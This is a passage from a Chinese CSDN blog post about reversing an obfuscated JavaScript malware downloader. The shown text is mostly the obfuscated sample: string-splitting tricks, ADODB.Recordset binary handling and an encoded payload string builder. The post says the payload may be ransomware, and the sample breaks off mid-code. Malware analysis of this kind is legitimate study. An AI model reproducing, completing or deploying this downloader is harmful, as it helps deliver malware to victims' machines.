js混淆还原工具_[原创JS混淆downloader代码还原

本文介绍了如何分析和还原混淆的JavaScript代码,通过动态调试方法揭示了一个downloader的原始代码。在过程中,遇到了ActiveXObject在不同浏览器中的问题,并提供了解决方案。最终,成功还原了代码,发现下载的内容可能是勒索软件。
摘要由CSDN通过智能技术生成

好久没发贴了,来水一贴吧。

1.样本代码function UP(m)

{

var nUX = "charA";

var luz = "t";

var c = nUX + luz;

return c;

}

function AU()

{

var uxJ = "YkuOKC7i{\"GUy%x}2c9N*Q+";

return uxJ;

}

function pvL(F, oc, rt)

{

var M = new oc("ADOD" + "B.Re" + "cordset");

var hTR = F["Si" +"ze"];

var K = 201;

M["f" + "ie" + "lds"]["a" + "pp" + "e" + jG()]("bin", K, hTR);

var ka = "ope";

M[ka + "n"]();

M["addNew"]();

var X = "bin";

var D = "appendChunk";

M(X)[D](rt);

var vvJ = "updat";

M[vvJ + "e"]();

return M(X)["value"];

}

function vWs()

{

var uxJ = "8tneM[`S^W

return uxJ;

}

function og()

{

var uxJ = "p_@|VJfw6z=R;A)mj5Za31Hs!o->F.~&\\4X]dbh";

return uxJ;

}

function U(f)

{

var uxJ = AU() + vWs() + og();

var Rp = uxJ["" + UP(f)](f-31);

return Rp;

}

function RIO()

{

var y=U(8000/64+0)+U(1100/20-0)+U(5*11);

y+=U(3480/40-0)+U(551-441)+U(5*17);

y+=U(780/10-0)+U(670-592)+U(43);

y+=U(343-231)+U(3201/97-0)+U(4623/67+0);

y+=U(2*19)+U(1680/30-0)+U(8*7);

y+=U(3*19)+U(1043-974)+U(4284/63+0);

y+=U(43)+U(4*29)+U(8*7);

y+=U(584/8-0)+U(6*13)+U(2726/29-0);

y+=U(3480/40+0)+U(1695/15+0)+U(545-497);

y+=U(787-675)+U(93-37)+U(5*11);

y+=U(3819/67+0)+U(8*7)+U(483-428);

y+=U(5772/74+0)+U(5*11)+U(4250/34+0);

y+=U(778-721)+U(6*17)+U(3534/62+0);

y+=U(461-351)+U(6786/87-0)+U(596-541);

y+=U(6204/66+0)+U(5415/95-0)+U(420-364);

y+=U(3410/62-0)+U(43)&

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值